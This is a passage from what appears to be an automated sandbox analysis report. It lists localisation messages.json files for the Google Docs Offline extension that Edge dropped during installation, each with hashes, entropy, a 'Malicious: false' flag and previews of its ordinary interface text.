Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
